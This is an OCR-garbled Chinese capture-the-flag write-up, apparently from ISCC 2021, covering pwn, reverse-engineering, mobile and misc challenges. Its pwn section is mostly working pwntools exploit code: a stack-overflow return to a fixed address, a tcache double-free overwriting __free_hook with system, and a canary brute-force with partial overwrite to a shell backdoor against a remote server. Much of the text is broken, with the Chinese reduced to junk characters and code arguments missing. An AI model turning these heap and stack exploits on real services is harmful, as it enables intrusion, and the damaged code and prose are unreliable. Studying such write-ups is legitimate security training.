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pwn

M78

JRIFTE check & ¥kt

char * cdecl check(char *s)

{
char dest[11]; // [esp+@h] [ebp-18h] BYREF

char v3; // [esp+Bh] [ebp-Dh]
char *v4; // [esp+Ch] [ebp-Ch]

v3 = strlen(s);
if (v3 ==7)
{
puts("Enjoy it~");
fflush(stdout);
strcpy(dest, s);

else

{

puts("Invalid!");

v4 = (char *)fflush(stdout);
¥

return v4;

s LER$ireadty, KEHKHNOX199, buf R F AR .
destBfiZAKEH11, MbufE il Eldestit, 7 AEiEHidesti .
v3fEchark Ry, TILAMIESHIEEOX107, E1GVIHIME AT,
Bk 25 TR BB .

from pwn import

r remote (
call addr = 0x8049202

r.sendlineafter(
r.sendlineafter(

(0x18+4) p32(call_addr)
payload.ljust(0x107, )

r.sendlineafter( ,payload)
r.interactive()

Hoehu  BlrandIFh 7, RIGCIESH/IF, WART,




ttencoding=utf-8

from pwn import *

import time

context(os="linux"',arch="amd64")

context.log level = 'debug'

r = remote('39.96.88.40',7040)
process('/home/kali/ctf/pwn/ti/game")

[55,15,82,1,98,68,67,15,86,3]
payload = b'w'*40+p32(0)
r.sendlineafter("Your name is :",payload)
for i in rt:

r.sendlineafter("Guess Number:",str(i))

r.interactive()

box

WK, FEfEuaf 1 double freelgifl. libch2.27 Ubuntu1 , Ftcache, double free RK:L: .
tcache(0x20 - Ox400YFNER R ST, % HRKIESTHB)ZA 5 RbinsH %,
unsord binsF {1 —AMreeffIchunkft, chunk#)fd#E Hmain_arena

from pwn import

remote(

libc ELF(
call addr = 0x8049202

def add(idx, lenn, ddd):
.sendlineafter( 5
.sendlineafter(

.sendlineafter( 5 (lenn))
.sendlineafter( ,ddd)
def _edit(idx, ddd):
r.sendlineafter(
r.sendlineafter(

r.sendlineafter(

def _remove(idx):
r.sendlineafter(
r.sendlineafter(

def view(idx):
r.sendlineafter(
r.sendlineafter(

add(0,0x80,
add(1,0x80,

add(2,0x80,

remove (1)




remove (1)
remove(1)
remove (1)
remove (1)
remove (1)
remove(1)
remove (1)
remove(0)

view(0)
r.recvuntil(

main_arna_96 ub4(r.recv(6).ljust(8, ))

print( 5 (main_arna_96))

malloc_hook_s libc.symbols|[
free_hook_s libc.symbols|[

system_s libc.sym[

malloc_hook_addr (main_arna_96 & OxFFFFFFFFFFFFFO00)
libc_base malloc_hook_addr - malloc_hook_s
free_hook_addr libc_base free_hook_s
libc_base system_s
5 (libc_base))
5 (free_hook_addr))
(system_addr))

edit(1,p64(free_hook_addr))
add(3,0x89, )
add(4,0x80,p64(system_addr))
remove(3)

r.interactive()

exp2:
R FHedit /& Fdouble free #Ji& tcache J9:

1. tcache -> chunk1 ->chunk2->chun1

2. #RJ5 malloc chunk1 J42fd & B Hyfree_hook_addr
tcache -> chunk2 ->chunk1->free_hook_addr

3. #RJ5 malloc chunk2 #i&"/bin/sh" Fmalloc chunk1
tcache ->free_hook_addr

4. malloc }##isystem_addr 5 \E| free_hook_addr

from pwn import
import time

(os
context.log level

r process(
libc ELF(
call addr = 0x8049202

def _add(idx, lenn, ddd):
r.sendlineafter( 5

r.sendlineafter(

(malloc_hook_s

OXFFF)




r.sendlineafter(
def edit(idx, ddd):
r.sendlineafter(

r.sendlineafter(

r.sendlineafter(

def _remove(idx):
r.sendlineafter(

r.sendlineafter(

def view(idx):
r.sendlineafter(

r.sendlineafter(

add(0,0x809,
add(1,0x80,
add(2,0x89,

remove(2)
remove(2)
remove(2)
remove(2)
remove (1)
remove(2)
remove (1)
remove(0)
view(0)

r.recvuntil(

main_arna_96 ub4(r.recv(6).ljust(s, ))
print( 5 (main_arna_96))

malloc_hook_s libc.symbols[
free_hook_s libc.symbols|
system_s libc.sym[

malloc_hook_addr (main_arna_96 & OXFFFFFFFFFFFFFO00)
libc_base malloc_hook_addr - malloc_hook_s
free_hook_addr libc_base free_hook_s
libc_base system_s
5 (libc_base))
5 (free_hook_addr))
(system_addr))

add(3,0x80,p64(free_hook_addr))
add(4,0x80, )
add(5,0x80, )
add(6,0x80,p64(system_addr))

remove(4)

r.interactive()

(malloc_hook_s

OXFFF)




RIBLEMIRE B, fork FHEFR, 285 FREF2 A A & Hovuin() .
1. INER B P ARG H

2. HAbackdoor()eki#, wLAF1Tshell,

3. FETPIE

4. JF)J3 T CANARY

AR ENIR R AT BRI

1. Seidcanary;

2. retZF|backdoor

BN 2fork i 2, Bl LR canary

ftencoding=utf-8

from pwn import *

import time

context(os="linux',arch="amd64")

context.log level = 'debug’

r = remote('39.96.88.40',8010)

tr = process(["/home/kali/ctf/pwn/ti/iscc2021/hellopwner/ld-1linux.so.2","/home/kali/ctf/pwn/ti/iscc2021/hellopwn
er/hello _Pwner"],env={"LD_PRELOAD":"/home/kali/ctf/pwn/ti/iscc2021/hellopwner/libc.so.6"})

def ckcanary(payload, len):
canaryy =b"'
for _ in range(len):
for i in range(9,256):

r.sendafter("Pwner!",payload+canaryy+chr(i).encode('latinl"))
r.recvline() #
a=r.recv(3)
print(i,canaryy, a)
if a l= b'***":
canaryy +=chr(i).encode('latinl"')
print(canaryy)
break
il Al == 258
print("error"
return ""
return  u32(canaryy)
payload = b'\0'* 100
cana=ckcanary(payload,4)
print("canary:",hex(cana))

for i in range(0,16):
addr = i << 12 | 0@x@7ba
payload = b'cat flag.txt #'
payload = payload.ljust(100,b'\0') + p32(cana) + b'\@'*12 + pl6(addr)
#r.sendafter("Pwner!",payload)
r.send(payload)
time.sleep(0.1)

r.interactive()

RE

garden

Fft £ garden.pyc
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import platform, sys, marshal, types

def check(s):
f
if (s) (f):
return False
checksum (%]
for a, b in (f, s):

checksum (b)

return checksum

if sys.version_info.major 2 or sys.version_info.minor
sys.exit( )
(sys.argv)
sys.exit(
flag = sys.argv[1l]
if (flag) 32:
print
sys.exit(1)
alphabet (
for ch in flag:
if ch not in alphabet:
print

sys.exit(1)

if check(flag):
print
sys.exit(@)
else:
print
sys.exit(1)

flag += chr(ord(i) ~ 123)
print(flag)

Analysis
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r= [@x43,0xDF,0x14,0x3,0x0D,0x2C,0x9,0x1,0x17,0x17,0x8,0xFC,0x2B,0xFA,Ox14,0x17,0xF9,0x25,0xF5,0x22,0x3D, OXCE , OX
18,0x16,0x0A]

sstr="REVERSE'

bstr=[0 for i in sstr]

for i in range(len(sstr)):
bstr[i] = ord(sstr[i])%64

print(bstr)

for i in range(@x19):
t = bstr[i%7]&1
if t =0 :
r[i] = r[i] -2
else:
r[i] = r[i] -1
print(r)

for i in range(@x19 //2 ):
t=r[i]

= r[Ox19-1-i]
r[ex19-1-i] = t

range(0x19):
= (r[i] - bstr[i%7])&exff

range(ex17, -1, -1):

= (r[i] + r[i+1])&0xff

range(0x19):
+= 64

PE
+= (chr(i))

Ron’s Code

RCA4H ¥ )

def rc4(data, key):
data: data that to be encrypted or decrypted.
key to encrypt or decrypt.

#if the data is a string, convert to hex format.
if(type(data) is type("string")):
tmpData=data
data=[]
for tmp in tmpData:
data.append(ord(tmp))




if(type(key) is type("string")):
tmpKey=key
key=[]
for tmp in tmpKey:
key.append(ord(tmp))

#the Key-Scheduling Algorithm
box= list(range(256))
for i in range(256):
X = (x + box[i] + key[i % len(key)]) % 256

box[i], box[x] = box[x], box[i]

#the Pseudo-Random Generation Algorithm

(%]
(7]

[]
in data:
= (x + 1) % 256
= (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(c ” box[(box[x] + box[y]) % 256])
result=""
printable=True
for tmp in out:
if(tmp<@x21 or tmp>@x7e):
# there is non-printable character
printable=False
break
result += chr(tmp)

if(printable==False):
result=""

#convert to hex string

for tmp in out:

result += "{0:02X}".format(tmp)

return result
str=[OxES8,0x30,0XES,0x30,0XC9,0X65 ,0xA9,0XBA,0x77,0xDA, OXF4 , OXAE , 0XE3, OXE9 , 0X60 ,0X76 ,0XC1]
keyl="ISCC2021"'.encode()
key=[]
for i in range(len(keyl)):

key.append(keyl[i] +i)
print(key)

flag = rc4(bytes(str),bytes(key))

flag=bytes.fromhex(flag)

for i in range(len(str)):
flag[i] += key[i%8]
flag[i] -= 1

print(bytes(flag))




CHmAN, HRET
FLULHOIC IS LLVM IRKOTE: . AT LU A fir 4 ¥ hobj SO

1lc -filetype=obj task.ll

% B BJobj S M, i Blidat BIFSEF HikEH

int _ cdecl main(int argc, const char argv, const char envp)
{

size t v3;

char v4;

char v5;

int j;

int i;

int v9;

char s[88];

printf(

printf(

printf( );

_is0c99_scanf( > S);

e strlen(s);

if ( v3 strlen(&what) )

{
if ( (unsigned int)check(s) )
{

for (i 5o strlen(s); i)

secret[i strlen(secret)];

else
{
for ( j 9; j strlen(s); j)
{
v5 flag[jl;
s[3] V5 secret[j strlen(secret)];

)i
printf(format, s);

9;
s
else
{
printf(asc_356);
1;
)i

return v9;




[@ for i in ( (what))]

ss in string.printable:
s[9] (ss)
for i in ( (what)-1):
s[i+1] (what[i]) s[i]
£
for i in ( CLEIDDE
v s[i]
t ((v) (secret[i (secret)]))
if t not in string.printable:
break
£ +=t
if (f)

print(f)
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from Crypto.Cipher import AES
import base64
.encode()

AES.new(key,AES.MODE_ECB)

msg_enc base64.b64decode(str2)
msg = aes.decrypt(msg_enc)
str2=msg.decode().replace(
print( (str2))

(7,256,8):
8:
print(x)
str3 ©9)

break

(100+3)
(100°0x5d)
(ord(str3[2])
(120-1)

(c8)+4)
(c7)"56)
c6+c7+c8
(c6), (c7))
str2+str3
first.replace(

)§

).replace( ) .replace(

Mobile Normal

java+jni

java#fi gy

private String getFlag() {

) .replace( ).replace(

String partl = new String(Base64.decode(new String("ZXZlcllvbmVfbDFrzVM=").getBytes(), 0));
String s = (new String(BuildConfig.FLAVOR) + "ISCC{") + partl;
return ((s + MyJni.getPart3()) + ((String) getResources().getText(R.string.smile))) + "}";

KB S TE 5jnift MyJni.getPart3() 77 3%3& 5 1245 )1
niE A BEEE R, BEEHE,
HB B MsmaliftiS Konclick 5%, ¥ getFlagik [H fiflag Toast Sk 8k # setText2 i AMERI AT .




invoke-direct {p@}, Lcom/example/mobilenormal/MainActivity;->getFlag()Ljava/lang/String;

move-result-object v2

.local v2, Ljava/lang/String;

const v@, @x7f070036

invoke-virtual {p@, v@}, Lcom/example/mobilenormal/MainActivity;->findViewById(I)Landroid/view/View;
move-result-object voO

check-cast v@, Landroid/widget/EditText;

.local vo, Landroid/widget/EditText;

invoke-virtual {v@, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

apk7E FHLELE 2% 2235 5 S B v Bonflag.
MISC

Retrieve the passcode

Scatterififl BEAITF XA R, FRIE? RKikiAmg !
Flagh: ISCC{XXX}, XXXN/NEFEKE, FEFESHK
P4~ —>scatter.txt Al computer.rar

scatter.txt 4 % :

1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:
2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5
:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.2
5:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;
5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;

8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1
310:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;19
:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1]
.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.7
582,258l

# Fscatterf§ &1 pythonf#] matplotlib & scatter i i
scatter(x, y, B FIK/N, B, fRic)

%5 AR



import matplotlib.pyplot as plt
d=[[1,3,1],[1.25,3,1],[1.5,3,1],[1.75,3,1],[2,3,1],[2,2.75,1],[2,2.5,1],[2,2.25,1],[2,2,1],[2,1.75,1],[2,1.5,1],
[1,2.25,1],[1.25,2.25,1],[1.5,2.25,1],[1.75,2.25,1],[1,1.5,1],[1.25,1.5,1],[1.5,1.5,1],[1.75,1.5,1],[3,3,1],[3.2
5,3,1],[3.5,3,1],[3.75,3,1],[4,3,1],[3.25,2.25,1],[3.5,2.25,1],[3.75,2.25,1],[4,2.25,1],[4,2,1],[4,1.75,1],[4,1.
5,1],[3,1.5,1],[3.25,1.5,1],[3.5,1.5,1],[3.75,1.5,1],[3,1.75,1],[3,2,1],[3,2.25,1],[3,2.5,1],[3,2.75,1],[5,3,1],
[5.25,3,1],[5.5,3,1],[5.75,3,1],[6,3,1],[6,2.25,1],[6,2,1],[6,1.75,1],[6,1.5,1],[5.75,1.5,1],[5.5,1.5,1],[5.25, 1
.5,1],[5,1.5,1],[5,2.25,1],[5.25,2.25,1],[5.5,2.25,1],[5.75,2.25,1],[5,2.5,1],[5,2.75,1],[7,3,1],[7.25,3,1],[7.5
,3,11,[7.75,3,1],[8,3,1],[8,2.75,1],[8,2.5,1],[8,2.25,1],[8,2,1],[8,1.75,1],[8,1.5,1],[9,3,1],[9.25,3,1],[9.5,3,
1],[9.75,3,1],[10,3,1],[10,2.75,1],[10,2.5,1],[10,2.25,1],[9.75,2.25,1],[9.5,2.25,1],[9.25,2.25,1],[9,2.25,1],[9
,2,11,[9,1.75,1],[9,1.5,1],[9.25,1.5,1],[9.5,1.5,1],[9.75,1.5,1],[10,1.5,1],[11,3,1],[11.25,3,1],[11.5,3,1],[11.
75,3,1],[12,3,1],[12,2.75,1],[12,2.5,1],[12,2.25,1],[12,2,1],[12,1.75,1],[12,1.5,1],[11.75,1.5,1],[11.5,1.5,1],[
11.25,1.5,1],[11,1.5,1],[21,1.75,1],[11,2,1],[11,2.25,1],[11,2.5,1],[11,2.75,1],[11.25,2.25,1],[11.5,2.25,1],[11
.75,2.25,1]]

i in d:

.append(i[0])
.append(i[1])
.append(i[2])
plt.figure()
fig.add_subplot(411)

.set_title(
.xlabel(
.ylabel(
.scatter(x,y)
.legend(

.show()
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AT give.exe BIR:

pass1{\u006b\u0072\u0077}

R -

pass1{krw}

01037 FFme.zip, kK Blbaseb4:

fRERD

pass2{gcc666}

{3 Flkrwgcc666 T FFme.zip

CE

eW91Zm91bmRtZT8=

f# % . youfoundme?

i Flmp3steno T Hmp3 fi#% {3 FH % £Hyoufoundme? 18 3
ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
base32f# % t12lflag:

ISCC{Yourdiscount2.15}
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